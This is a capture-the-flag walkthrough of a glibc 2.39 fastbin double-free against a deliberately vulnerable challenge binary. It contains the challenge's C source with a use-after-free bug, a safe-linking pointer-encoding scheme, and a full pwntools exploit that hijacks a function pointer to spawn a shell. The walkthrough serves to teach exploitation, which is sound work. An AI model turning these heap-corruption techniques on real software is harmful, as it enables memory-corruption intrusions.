

Level 4: Fastbin Double-Free (Dup) – Greet Pointer Overwrite

Heap Exploitation Walkthrough | x86-64 Linux | Intermediate

1. What is a Fastbin Double-Free (Fastbin Dup)?

glibc keeps recently freed chunks smaller than 0x80 bytes in per-size singly linked lists called fastbins. The head of the bin is handed out first, so a fastbin behaves like a stack (LIFO). A double free is simply freeing the same chunk twice without reallocating it in between. The chunk then appears twice on the fastbin and the next two malloc() calls of that size return the same address. We can turn this into an overlapping allocation: two live objects pointing at the same memory, and we control what is written into it.

Since glibc 2.32 every fastbin fd pointer is obfuscated with safe-linking: `stored_fd = (address_of_fd_field >> 12) ^ next_chunk`. The address of the fd field is the user pointer of the chunk, so corrupting the list requires the heap address and an encoded target.

Two implementation details matter here. First, the fastbin stores **chunk header addresses** (`mem - 0x10`), while the fd field itself lives at `chunk + 0x10`, i.e. exactly at the user pointer. Second, this binary has no edit function and only 16 person slots; on stock glibc 2.39 the tcache would swallow our freed chunks first and filling it would exceed the slot budget. The intended environment therefore disables the tcache at runtime with `GLIBC_TUNABLES=glibc.malloc.tcache_count=0`, so freed 0x40 chunks go straight into the fastbin.

2. Security Settings

Protection	Status	Impact
Stack Canary	OFF	No stack smashing detection
PIE	OFF	Binary addresses are fixed (0x400000 base)
NX	ON	Stack not executable (no shellcode)
RELRO	Partial	GOT is writable
CET (SHSTK / IBT)	ON	No ROP; indirect calls must land on endbr64
glibc	2.39	safe-linking ON, <code>__free_hook</code> removed
Tcache	Disabled at runtime	<code>GLIBC_TUNABLES=glibc.malloc.tcache_count=0</code>
Stripped	No	Function names visible in <code>objdump / nm</code>

3. The Source Code (reconstructed)

The challenge ships with its C source. The relevant logic, keeping the exact sizes, is:

```
typedef struct {
    char name[16];           // offset 0x00: 16 bytes
    void (*greet)(void*);    // offset 0x10: 8 bytes (FUNCTION POINTER TARGET)
    char msg[32];           // offset 0x18: 32 bytes
} Person;                  // total: 56 bytes == malloc(0x38)

Person *persons[16];       // array at 0x404080
int pidx = 0;              // counter at 0x404100

void greet_person(void *ptr) {
    Person *p = (Person*)ptr;
    printf("Greetings, %s!\n", p->name);
}

void admin_panel() {       // <-- win function
    printf("Access granted! Administratoren-Menue:\n");
    system("/bin/sh");
}

void create() {
    if (pidx >= 16) return;
    persons[pidx] = malloc(sizeof(Person)); // malloc(0x38) -> 0x40 chunk
    if (!persons[pidx]) return;
```

```

    persons[pidx]->greet = greet_person;    // fn pointer set BEFORE reads
    printf("Name: ");
    read(0, persons[pidx]->name, 16);      // 16 bytes
    printf("Msg: ");
    read(0, persons[pidx]->msg, 32);       // 32 bytes
    pidx++;
}

void delete() {
    int i;
    printf("Index: ");
    scanf("%d", &i); getchar();
    if (i < 0 || i >= pidx || !persons[i]) return;
    free(persons[i]);
    // BUG: persons[i] is NOT set to NULL -> dangling pointer (UAF)
}

void greet() {
    int i;
    printf("Index: ");
    scanf("%d", &i); getchar();
    if (i < 0 || i >= pidx || !persons[i]) return;
    persons[i]->greet(persons[i]);          // indirect call -> primitive
}

```

4. The Vulnerability: UAF without an Edit Primitive

`delete()` calls `free(persons[i])` but never clears the array slot. Every slot keeps a dangling pointer to the freed chunk (Use-After-Free).

Unlike the previous levels there is no `edit()` function, and `create()` always writes `greet = greet_person` into the freshly allocated `Person` before reading `name/msg`. A live person's function pointer can therefore never be overwritten directly.

The way out: abuse the double free to make `malloc()` hand us an allocation that overlaps the `greet` field of a person that is still allocated. The name read then writes our win address straight into the function pointer.

5. Struct Layout and Key Offsets

Offset	Field	Size
0x00	name	16 bytes
0x10	greet (fn pointer)	8 bytes <-- TARGET
0x18	msg	32 bytes

`malloc(0x38)` = 56-byte request → chunk size 0x40, fastbin index 2. The function pointer sits at offset 0x10 of the user area. `persons[]` is at 0x404080, `pidx` at 0x404100.

Heap layout: even with `tcache_count=0` the `tcache_perthread_struct` (0x280-byte user area plus 0x10 header = one 0x290 chunk) is still allocated at the very start of the heap. The first user chunk A therefore sits at `heap_base + 0x2a0`, the second chunk B at `A + 0x40`.

Fake chunk geometry: the fastbin stores chunk pointers. We want `malloc()` to return a user area that starts at `A + 0x10`, because that is exactly `persons[0]->greet`. A returned user area of `A + 0x10` corresponds to a chunk pointer of A, so the fake chunk's header sits at user A: its size field (at `A + 0x8`) must read 0x40 and the chunk must be 16-byte aligned (`A + 0x10` is). Both checks are part of the fastbin pop path.

6. The Attack Strategy

- **Step 1 – Allocate.** `create()` a person A (idx 0) and a person B (idx 1). Both are 0x40 chunks with `greet = greet_person`.
- **Step 2 – Double free.** `delete(0)`, `delete(1)`, `delete(0)`. The 0x40 fastbin is now `A -> B -> A`. The second free of A passes the fasttop check because the current head is B, not A.
- **Step 3 – Poison (idx 2).** The first `realloc` returns A. We write `name[0:8] = enc = (A >> 12) ^ A`, which sets A's fd so that the next pop becomes the fake chunk A. `name[8:16] = 0x40` places the fake chunk's size field at `A + 0x8`.

- **Step 4 – Filler (idx 3).** The second realloc returns B; it advances the chain and consumes a slot.
- **Step 5 – Re-assert size (idx 4).** The third realloc returns A again. We keep the fake size 0x40 at A + 0x8. The fastbin head is now the fake chunk A.
- **Step 6 – Fake chunk (idx 5).** The fourth realloc pops the fake chunk: 16-byte aligned and size 0x40, so both fastbin checks pass. malloc() returns A + 0x10. The 16-byte name write now lands admin_panel (0x40126c) at A + 0x10 = persons[0]->greet.
- **Step 7 – Trigger.** greet(0) calls persons[0]->greet() = admin_panel() -> system("/bin/sh") -> shell.

The heap base is read at runtime from /proc/<pid>/maps (the [heap] line), because ASLR randomizes it on every run. admin_panel is fixed: the binary is not PIE.

7. The Exploit (exploit.py)

```
from pwn import *
import os

context.arch = 'amd64'
context.log_level = 'info'

ADMIN_PANEL = 0x40126c
TCACHE_STRUCT_CHUNK = 0x2a0

p = process('./fastbin_dup', env={**os.environ, 'GLIBC_TUNABLES': 'glibc.malloc.tcache_count=0'})

def menu(c):
    p.sendlineafter(b'> ', str(c).encode())

def create(name, msg):
    menu(1)
    p.sendafter(b'Name: ', name)
    p.sendafter(b'Msg: ', msg)

def delete(idx):
    menu(2)
    p.sendlineafter(b'Index: ', str(idx).encode())

def greet(idx):
    menu(3)
    p.sendlineafter(b'Index: ', str(idx).encode())

create(b'A' * 16, b'B' * 32)
create(b'C' * 16, b'D' * 32)

maps = open(f'/proc/{p.pid}/maps').read()
heap_base = int([l.split('-')[0] for l in maps.splitlines() if '[heap]' in l][0], 16)
log.info(f'heap base {hex(heap_base)}')

A = heap_base + TCACHE_STRUCT_CHUNK
enc = (A >> 12) ^ A
log.info(f'A={hex(A)} enc={hex(enc)}')

delete(0)
delete(1)
delete(0)

create(p64(enc) + p64(0x40), b'X' * 32)
create(b'Y' * 16, b'Z' * 32)
create(p64(0) + p64(0x40), b'W' * 32)
create(p64(ADMIN_PANEL) + b'\x00' * 8, b'Q' * 32)

greet(0)

p.interactive()
```

Line-by-line explanation

- Import pwntools and os; context.arch is only used for p64(). ADMIN_PANEL is the fixed, non-PIE address of the win function.
- TCACHE_STRUCT_CHUNK = 0x2a0: tcache_perthread_struct chunk (0x290) plus one chunk header (0x10) put the first user chunk A at heap_base + 0x2a0.
- process(..., env=...) spawns the binary with the tcache disabled. With counts fixed to 0 the tcache is never filled, so the classic fastbin double free becomes possible within the 16-slot budget.
- menu() waits for the '>' prompt and sends the menu number.
- create(): choice 1, then 'Name: ' (exactly 16 bytes via send, no newline) and 'Msg: ' (exactly 32 bytes). sendafter + exact lengths matter: the two reads use raw read(), so a stray newline would land in the next buffer.
- delete(): choice 2, then the index. After free() the array slot is NOT cleared (UAF).
- greet(): choice 3 and the index. This is the execution primitive: persons[i]->greet(persons[i]).
- Two setup allocations A (idx 0) and B (idx 1). After the second create the heap exists, so we can parse /proc/<pid>/maps for the [heap] base.
- heap_base is read from the maps file (page-aligned) and A is derived: A = heap_base + 0x2a0.
- enc = (A >> 12) ^ A is the safe-linking encoded fd. The fastbin stores chunk pointers, and the fake chunk we want returned has its header at user A; its user area A + 0x10 equals the greet field. Popping A again then yields exactly that fake chunk.
- delete(0), delete(1), delete(0): double free; the 0x40 fastbin becomes A -> B -> A.
- Realloc 1 (idx 2) returns A: poison fd with enc and place the fake size 0x40 at A + 0x8 (name[8:16]).
- Realloc 2 (idx 3) returns B (filler).
- Realloc 3 (idx 4) returns A again and keeps the fake size 0x40. The fastbin head is now the fake chunk A.
- Realloc 4 (idx 5) pops the fake chunk (aligned + size 0x40 pass) and returns A + 0x10. The 16-byte name write places ADMIN_PANEL at A + 0x10 = persons[0]->greet.
- greet(0) calls persons[0]->greet() = admin_panel() -> system("/bin/sh").
- p.interactive() hands the shell over to the terminal.

8. Address Reference

Symbol / Constant	Address	Note
admin_panel()	0x40126c	Win function: prints menu, then system("/bin/sh")
greet_person()	0x401236	Default handler, written to +0x10 on every create
system@plt	0x4010e0	Not needed directly (admin_panel calls it internally)
free@got	0x404000	GOT entry (Partial RELRO -> writable, unused here)
persons[]	0x404080	Array of 16 chunk pointers
pidx	0x404100	Person counter
Chunk size	0x40	malloc(0x38) -> fastbin index 2
greet offset	0x10	offsetof(Person, greet)
A (first chunk)	heap_base + 0x2a0	B = A + 0x40; fake chunk header = A